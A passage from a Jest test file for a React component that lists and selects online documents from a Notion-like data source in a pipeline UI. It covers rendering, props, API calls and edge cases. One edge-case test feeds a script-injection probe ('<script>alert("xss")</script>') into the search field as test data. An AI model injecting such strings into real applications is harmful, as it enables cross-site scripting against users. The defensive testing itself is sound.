+  page_id: 'page-1',
+  page_name: 'Test Page',
+  page_icon: null,
+  is_bound: false,
+  parent_id: 'root',
+  type: 'page',
+  workspace_id: 'workspace-1',
+  ...overrides,
+})
+
+const createMockWorkspace = (overrides?: Partial<DataSourceNotionWorkspace>): DataSourceNotionWorkspace => ({
+  workspace_id: 'workspace-1',
+  workspace_name: 'Test Workspace',
+  workspace_icon: null,
+  pages: [createMockPage()],
+  ...overrides,
+})
+
+const createMockCredential = (overrides?: Partial<{ id: string; name: string }>) => ({
+  id: 'cred-1',
+  name: 'Test Credential',
+  avatar_url: 'https://example.com/avatar.png',
+  credential: {},
+  is_default: false,
+  type: 'oauth2',
+  ...overrides,
+})
+
+type OnlineDocumentsProps = React.ComponentProps<typeof OnlineDocuments>
+
+const createDefaultProps = (overrides?: Partial<OnlineDocumentsProps>): OnlineDocumentsProps => ({
+  nodeId: 'node-1',
+  nodeData: createMockNodeData(),
+  onCredentialChange: jest.fn(),
+  isInPipeline: false,
+  supportBatchUpload: true,
+  ...overrides,
+})
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('OnlineDocuments', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Reset store state
+    mockStoreState.documentsData = []
+    mockStoreState.searchValue = ''
+    mockStoreState.selectedPagesId = new Set()
+    mockStoreState.currentCredentialId = ''
+    mockStoreState.setDocumentsData = jest.fn()
+    mockStoreState.setSearchValue = jest.fn()
+    mockStoreState.setSelectedPagesId = jest.fn()
+    mockStoreState.setOnlineDocuments = jest.fn()
+    mockStoreState.setCurrentDocument = jest.fn()
+
+    // Reset context values
+    mockPipelineId = 'pipeline-123'
+    mockSetShowAccountSettingModal.mockClear()
+
+    // Default mock return values
+    mockUseGetDataSourceAuth.mockReturnValue({
+      data: { result: [createMockCredential()] },
+    })
+
+    mockGetState.mockReturnValue(mockStoreState)
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header')).toBeInTheDocument()
+    })
+
+    it('should render Header with correct props', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-123'
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ datasource_label: 'My Notion' }),
+      })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-doc-title')).toHaveTextContent('Docs')
+      expect(screen.getByTestId('header-plugin-name')).toHaveTextContent('My Notion')
+      expect(screen.getByTestId('header-credential-id')).toHaveTextContent('cred-123')
+    })
+
+    it('should render Loading when documentsData is empty', () => {
+      // Arrange
+      mockStoreState.documentsData = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('loading')).toBeInTheDocument()
+      expect(screen.getByTestId('loading')).toHaveAttribute('data-type', 'app')
+    })
+
+    it('should render PageSelector when documentsData has content', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+      expect(screen.queryByTestId('loading')).not.toBeInTheDocument()
+    })
+
+    it('should render Title with datasource_label', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ datasource_label: 'Notion Integration' }),
+      })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('title-name')).toHaveTextContent('Notion Integration')
+    })
+
+    it('should render SearchInput with current searchValue', () => {
+      // Arrange
+      mockStoreState.searchValue = 'test search'
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      const searchInput = screen.getByTestId('search-input-field') as HTMLInputElement
+      expect(searchInput.value).toBe('test search')
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('nodeId prop', () => {
+      it('should use nodeId in datasourceNodeRunURL for non-pipeline mode', () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({
+          nodeId: 'custom-node-id',
+          isInPipeline: false,
+        })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert - Effect triggers ssePost with correct URL
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.stringContaining('/nodes/custom-node-id/run'),
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+    })
+
+    describe('nodeData prop', () => {
+      it('should pass datasource_parameters to ssePost', () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const nodeData = createMockNodeData({
+          datasource_parameters: {
+            param1: { type: VarKindType.constant, value: 'value1' },
+            param2: { type: VarKindType.constant, value: 'value2' },
+          },
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.any(String),
+          expect.objectContaining({
+            body: expect.objectContaining({
+              inputs: { param1: 'value1', param2: 'value2' },
+            }),
+          }),
+          expect.any(Object),
+        )
+      })
+
+      it('should pass plugin_id and provider_name to useGetDataSourceAuth', () => {
+        // Arrange
+        const nodeData = createMockNodeData({
+          plugin_id: 'my-plugin-id',
+          provider_name: 'my-provider',
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+          pluginId: 'my-plugin-id',
+          provider: 'my-provider',
+        })
+      })
+    })
+
+    describe('isInPipeline prop', () => {
+      it('should use draft URL when isInPipeline is true', () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.stringContaining('/workflows/draft/'),
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+
+      it('should use published URL when isInPipeline is false', () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(mockSsePost).toHaveBeenCalledWith(
+          expect.stringContaining('/workflows/published/'),
+          expect.any(Object),
+          expect.any(Object),
+        )
+      })
+
+      it('should pass canPreview as false to PageSelector when isInPipeline is true', () => {
+        // Arrange
+        mockStoreState.documentsData = [createMockWorkspace()]
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('page-selector-can-preview')).toHaveTextContent('false')
+      })
+
+      it('should pass canPreview as true to PageSelector when isInPipeline is false', () => {
+        // Arrange
+        mockStoreState.documentsData = [createMockWorkspace()]
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('page-selector-can-preview')).toHaveTextContent('true')
+      })
+    })
+
+    describe('supportBatchUpload prop', () => {
+      it('should pass isMultipleChoice as true to PageSelector when supportBatchUpload is true', () => {
+        // Arrange
+        mockStoreState.documentsData = [createMockWorkspace()]
+        const props = createDefaultProps({ supportBatchUpload: true })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('page-selector-multiple-choice')).toHaveTextContent('true')
+      })
+
+      it('should pass isMultipleChoice as false to PageSelector when supportBatchUpload is false', () => {
+        // Arrange
+        mockStoreState.documentsData = [createMockWorkspace()]
+        const props = createDefaultProps({ supportBatchUpload: false })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('page-selector-multiple-choice')).toHaveTextContent('false')
+      })
+
+      it.each([
+        [true, 'true'],
+        [false, 'false'],
+        [undefined, 'true'], // Default value
+      ])('should handle supportBatchUpload=%s correctly', (value, expected) => {
+        // Arrange
+        mockStoreState.documentsData = [createMockWorkspace()]
+        const props = createDefaultProps({ supportBatchUpload: value })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('page-selector-multiple-choice')).toHaveTextContent(expected)
+      })
+    })
+
+    describe('onCredentialChange prop', () => {
+      it('should pass onCredentialChange to Header', () => {
+        // Arrange
+        const mockOnCredentialChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+
+        // Act
+        render(<OnlineDocuments {...props} />)
+        fireEvent.click(screen.getByTestId('header-credential-change'))
+
+        // Assert
+        expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+      })
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    it('should call getOnlineDocuments when currentCredentialId changes', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call getOnlineDocuments when currentCredentialId is empty', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = ''
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).not.toHaveBeenCalled()
+    })
+
+    it('should pass correct body parameters to ssePost', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-123'
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledWith(
+        expect.any(String),
+        {
+          body: {
+            inputs: {},
+            credential_id: 'cred-123',
+            datasource_type: 'online_document',
+          },
+        },
+        expect.any(Object),
+      )
+    })
+
+    it('should handle onDataSourceNodeCompleted callback correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockWorkspaces = [createMockWorkspace()]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        // Simulate successful response
+        callbacks.onDataSourceNodeCompleted({
+          event: 'datasource_completed',
+          data: mockWorkspaces,
+          time_consuming: 1000,
+        })
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setDocumentsData).toHaveBeenCalledWith(mockWorkspaces)
+      })
+    })
+
+    it('should handle onDataSourceNodeError callback correctly', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        // Simulate error response
+        callbacks.onDataSourceNodeError({
+          event: 'datasource_error',
+          error: 'Something went wrong',
+        })
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockToastNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'Something went wrong',
+        })
+      })
+    })
+
+    it('should construct correct URL for draft workflow', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockPipelineId = 'pipeline-456'
+      const props = createDefaultProps({
+        nodeId: 'node-789',
+        isInPipeline: true,
+      })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledWith(
+        '/rag/pipelines/pipeline-456/workflows/draft/datasource/nodes/node-789/run',
+        expect.any(Object),
+        expect.any(Object),
+      )
+    })
+
+    it('should construct correct URL for published workflow', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      mockPipelineId = 'pipeline-456'
+      const props = createDefaultProps({
+        nodeId: 'node-789',
+        isInPipeline: false,
+      })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledWith(
+        '/rag/pipelines/pipeline-456/workflows/published/datasource/nodes/node-789/run',
+        expect.any(Object),
+        expect.any(Object),
+      )
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should have stable handleSearchValueChange that updates store', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      const searchInput = screen.getByTestId('search-input-field')
+      fireEvent.change(searchInput, { target: { value: 'new search value' } })
+
+      // Assert
+      expect(mockStoreState.setSearchValue).toHaveBeenCalledWith('new search value')
+    })
+
+    it('should have stable handleSelectPages that updates store', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('page-selector-select-btn'))
+
+      // Assert
+      expect(mockStoreState.setSelectedPagesId).toHaveBeenCalled()
+      expect(mockStoreState.setOnlineDocuments).toHaveBeenCalled()
+    })
+
+    it('should have stable handlePreviewPage that updates store', () => {
+      // Arrange
+      const mockPages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+      ]
+      mockStoreState.documentsData = [createMockWorkspace({ pages: mockPages })]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('page-selector-preview-btn'))
+
+      // Assert
+      expect(mockStoreState.setCurrentDocument).toHaveBeenCalled()
+    })
+
+    it('should have stable handleSetting callback', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-config-btn'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: 'data-source',
+      })
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies
+  // ==========================================
+  describe('Memoization Logic and Dependencies', () => {
+    it('should compute PagesMapAndSelectedPagesId correctly from documentsData', () => {
+      // Arrange
+      const mockPages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      mockStoreState.documentsData = [
+        createMockWorkspace({ workspace_id: 'ws-1', pages: mockPages }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - PageSelector receives the pagesMap (verified via mock)
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+    })
+
+    it('should recompute PagesMapAndSelectedPagesId when documentsData changes', () => {
+      // Arrange
+      const initialPages = [createMockPage({ page_id: 'page-1' })]
+      mockStoreState.documentsData = [createMockWorkspace({ pages: initialPages })]
+      const props = createDefaultProps()
+      const { rerender } = render(<OnlineDocuments {...props} />)
+
+      // Act - Update documentsData
+      const newPages = [
+        createMockPage({ page_id: 'page-1' }),
+        createMockPage({ page_id: 'page-2' }),
+      ]
+      mockStoreState.documentsData = [createMockWorkspace({ pages: newPages })]
+      rerender(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+    })
+
+    it('should handle empty documentsData in PagesMapAndSelectedPagesId computation', () => {
+      // Arrange
+      mockStoreState.documentsData = []
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - Should show loading instead of PageSelector
+      expect(screen.getByTestId('loading')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers
+  // ==========================================
+  describe('User Interactions and Event Handlers', () => {
+    it('should handle search input changes', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      const searchInput = screen.getByTestId('search-input-field')
+      fireEvent.change(searchInput, { target: { value: 'search query' } })
+
+      // Assert
+      expect(mockStoreState.setSearchValue).toHaveBeenCalledWith('search query')
+    })
+
+    it('should handle page selection', () => {
+      // Arrange
+      const mockPages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Page 2' }),
+      ]
+      mockStoreState.documentsData = [createMockWorkspace({ pages: mockPages })]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('page-selector-select-btn'))
+
+      // Assert
+      expect(mockStoreState.setSelectedPagesId).toHaveBeenCalled()
+      expect(mockStoreState.setOnlineDocuments).toHaveBeenCalled()
+    })
+
+    it('should handle page preview', () => {
+      // Arrange
+      const mockPages = [createMockPage({ page_id: 'page-1', page_name: 'Page 1' })]
+      mockStoreState.documentsData = [createMockWorkspace({ pages: mockPages })]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('page-selector-preview-btn'))
+
+      // Assert
+      expect(mockStoreState.setCurrentDocument).toHaveBeenCalled()
+    })
+
+    it('should handle configuration button click', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-config-btn'))
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: 'data-source',
+      })
+    })
+
+    it('should handle credential change', () => {
+      // Arrange
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByTestId('header-credential-change'))
+
+      // Assert
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+    })
+  })
+
+  // ==========================================
+  // API Calls Mocking
+  // ==========================================
+  describe('API Calls', () => {
+    it('should call ssePost with correct parameters', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'test-cred'
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({
+          datasource_parameters: {
+            workspace: { type: VarKindType.constant, value: 'ws-123' },
+            database: { type: VarKindType.constant, value: 'db-456' },
+          },
+        }),
+      })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledWith(
+        expect.any(String),
+        {
+          body: {
+            inputs: { workspace: 'ws-123', database: 'db-456' },
+            credential_id: 'test-cred',
+            datasource_type: 'online_document',
+          },
+        },
+        expect.objectContaining({
+          onDataSourceNodeCompleted: expect.any(Function),
+          onDataSourceNodeError: expect.any(Function),
+        }),
+      )
+    })
+
+    it('should handle successful API response', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockData = [createMockWorkspace()]
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          event: 'datasource_completed',
+          data: mockData,
+          time_consuming: 500,
+        })
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockStoreState.setDocumentsData).toHaveBeenCalledWith(mockData)
+      })
+    })
+
+    it('should handle API error response', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeError({
+          event: 'datasource_error',
+          error: 'API Error Message',
+        })
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockToastNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'API Error Message',
+        })
+      })
+    })
+
+    it('should use useGetDataSourceAuth with correct parameters', () => {
+      // Arrange
+      const nodeData = createMockNodeData({
+        plugin_id: 'notion-plugin',
+        provider_name: 'notion-provider',
+      })
+      const props = createDefaultProps({ nodeData })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+        pluginId: 'notion-plugin',
+        provider: 'notion-provider',
+      })
+    })
+
+    it('should pass credentials from useGetDataSourceAuth to Header', () => {
+      // Arrange
+      const mockCredentials = [
+        createMockCredential({ id: 'cred-1', name: 'Credential 1' }),
+        createMockCredential({ id: 'cred-2', name: 'Credential 2' }),
+      ]
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: mockCredentials },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('2')
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle empty credentials array', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: [] },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle undefined dataSourceAuth result', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: { result: undefined },
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle null dataSourceAuth data', () => {
+      // Arrange
+      mockUseGetDataSourceAuth.mockReturnValue({
+        data: null,
+      })
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-credentials-count')).toHaveTextContent('0')
+    })
+
+    it('should handle documentsData with empty pages array', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace({ pages: [] })]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+    })
+
+    it('should handle undefined documentsData in useMemo (line 59 branch)', () => {
+      // Arrange - Set documentsData to undefined to test the || [] fallback
+      mockStoreState.documentsData = undefined as unknown as DataSourceNotionWorkspace[]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - Should show loading when documentsData is undefined
+      expect(screen.getByTestId('loading')).toBeInTheDocument()
+    })
+
+    it('should handle undefined datasource_parameters (line 79 branch)', () => {
+      // Arrange - Set datasource_parameters to undefined to test the || {} fallback
+      mockStoreState.currentCredentialId = 'cred-1'
+      const nodeData = createMockNodeData()
+      // @ts-expect-error - Testing undefined case for branch coverage
+      nodeData.datasource_parameters = undefined
+      const props = createDefaultProps({ nodeData })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - ssePost should be called with empty inputs
+      expect(mockSsePost).toHaveBeenCalledWith(
+        expect.any(String),
+        expect.objectContaining({
+          body: expect.objectContaining({
+            inputs: {},
+          }),
+        }),
+        expect.any(Object),
+      )
+    })
+
+    it('should handle datasource_parameters value without value property (line 80 else branch)', () => {
+      // Arrange - Test the else branch where value is not an object with 'value' property
+      // This tests: typeof value === 'object' && value !== null && 'value' in value ? value.value : value
+      // The else branch (: value) is executed when value is a primitive or object without 'value' key
+      mockStoreState.currentCredentialId = 'cred-1'
+      const nodeData = createMockNodeData({
+        datasource_parameters: {
+          // Object without 'value' key - should use the object itself
+          objWithoutValue: { type: VarKindType.constant, other: 'data' } as any,
+        },
+      })
+      const props = createDefaultProps({ nodeData })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - The object without 'value' property should be passed as-is
+      expect(mockSsePost).toHaveBeenCalledWith(
+        expect.any(String),
+        expect.objectContaining({
+          body: expect.objectContaining({
+            inputs: expect.objectContaining({
+              objWithoutValue: expect.objectContaining({ type: VarKindType.constant, other: 'data' }),
+            }),
+          }),
+        }),
+        expect.any(Object),
+      )
+    })
+
+    it('should handle multiple workspaces in documentsData', () => {
+      // Arrange
+      mockStoreState.documentsData = [
+        createMockWorkspace({ workspace_id: 'ws-1', pages: [createMockPage({ page_id: 'page-1' })] }),
+        createMockWorkspace({ workspace_id: 'ws-2', pages: [createMockPage({ page_id: 'page-2' })] }),
+      ]
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+    })
+
+    it('should handle special characters in searchValue', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      const searchInput = screen.getByTestId('search-input-field')
+      fireEvent.change(searchInput, { target: { value: 'test<script>alert("xss")</script>' } })
+
+      // Assert
+      expect(mockStoreState.setSearchValue).toHaveBeenCalledWith('test<script>alert("xss")</script>')
+    })
+
+    it('should handle unicode characters in searchValue', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Act
+      const searchInput = screen.getByTestId('search-input-field')
+      fireEvent.change(searchInput, { target: { value: '测试搜索 🔍' } })
+
+      // Assert
+      expect(mockStoreState.setSearchValue).toHaveBeenCalledWith('测试搜索 🔍')
+    })
+
+    it('should handle empty string currentCredentialId', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = ''
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).not.toHaveBeenCalled()
+    })
+
+    it('should handle complex datasource_parameters with nested objects', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const nodeData = createMockNodeData({
+        datasource_parameters: {
+          simple: { type: VarKindType.constant, value: 'value' },
+          nested: { type: VarKindType.constant, value: 'nested-value' },
+        },
+      })
+      const props = createDefaultProps({ nodeData })
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(mockSsePost).toHaveBeenCalledWith(
+        expect.any(String),
+        expect.objectContaining({
+          body: expect.objectContaining({
+            inputs: expect.objectContaining({
+              simple: 'value',
+              nested: 'nested-value',
+            }),
+          }),
+        }),
+        expect.any(Object),
+      )
+    })
+
+    it('should handle undefined pipelineId gracefully', () => {
+      // Arrange
+      mockPipelineId = undefined as any
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps()
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - Should still call ssePost with undefined in URL
+      expect(mockSsePost).toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      [{ isInPipeline: true, supportBatchUpload: true }],
+      [{ isInPipeline: true, supportBatchUpload: false }],
+      [{ isInPipeline: false, supportBatchUpload: true }],
+      [{ isInPipeline: false, supportBatchUpload: false }],
+    ])('should render correctly with props %o', (propVariation) => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('page-selector')).toBeInTheDocument()
+      expect(screen.getByTestId('page-selector-can-preview')).toHaveTextContent(
+        String(!propVariation.isInPipeline),
+      )
+      expect(screen.getByTestId('page-selector-multiple-choice')).toHaveTextContent(
+        String(propVariation.supportBatchUpload),
+      )
+    })
+
+    it('should use default values for optional props', () => {
+      // Arrange
+      mockStoreState.documentsData = [createMockWorkspace()]
+      const props: OnlineDocumentsProps = {
+        nodeId: 'node-1',
+        nodeData: createMockNodeData(),
+        onCredentialChange: jest.fn(),
+        // isInPipeline and supportBatchUpload are not provided
+      }
+
+      // Act
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - Default values: isInPipeline = false, supportBatchUpload = true
+      expect(screen.getByTestId('page-selector-can-preview')).toHaveTextContent('true')
+      expect(screen.getByTestId('page-selector-multiple-choice')).toHaveTextContent('true')
+    })
+  })
+
+  // ==========================================
+  // Integration Tests
+  // ==========================================
+  describe('Integration', () => {
+    it('should complete full workflow: load data -> search -> select -> preview', async () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const mockPages = [
+        createMockPage({ page_id: 'page-1', page_name: 'Test Page 1' }),
+        createMockPage({ page_id: 'page-2', page_name: 'Test Page 2' }),
+      ]
+      const mockWorkspace = createMockWorkspace({ pages: mockPages })
+
+      mockSsePost.mockImplementation((url, options, callbacks) => {
+        callbacks.onDataSourceNodeCompleted({
+          event: 'datasource_completed',
+          data: [mockWorkspace],
+          time_consuming: 100,
+        })
+      })
+
+      // Update store state after API call
+      mockStoreState.documentsData = [mockWorkspace]
+
+      const props = createDefaultProps()
+      render(<OnlineDocuments {...props} />)
+
+      // Assert - Data loaded and PageSelector shown
+      await waitFor(() => {
+        expect(mockStoreState.setDocumentsData).toHaveBeenCalled()
+      })
+
+      // Act - Search
+      const searchInput = screen.getByTestId('search-input-field')
+      fireEvent.change(searchInput, { target: { value: 'Test' } })
+      expect(mockStoreState.setSearchValue).toHaveBeenCalledWith('Test')
+
+      // Act - Select pages
+      fireEvent.click(screen.getByTestId('page-selector-select-btn'))
+      expect(mockStoreState.setSelectedPagesId).toHaveBeenCalled()
+
+      // Act - Preview page
+      fireEvent.click(screen.getByTestId('page-selector-preview-btn'))
+      expect(mockStoreState.setCurrentDocument).toHaveBeenCalled()
+    })
+
+    it('should handle error flow correctly', async () => {
+      // Arrange
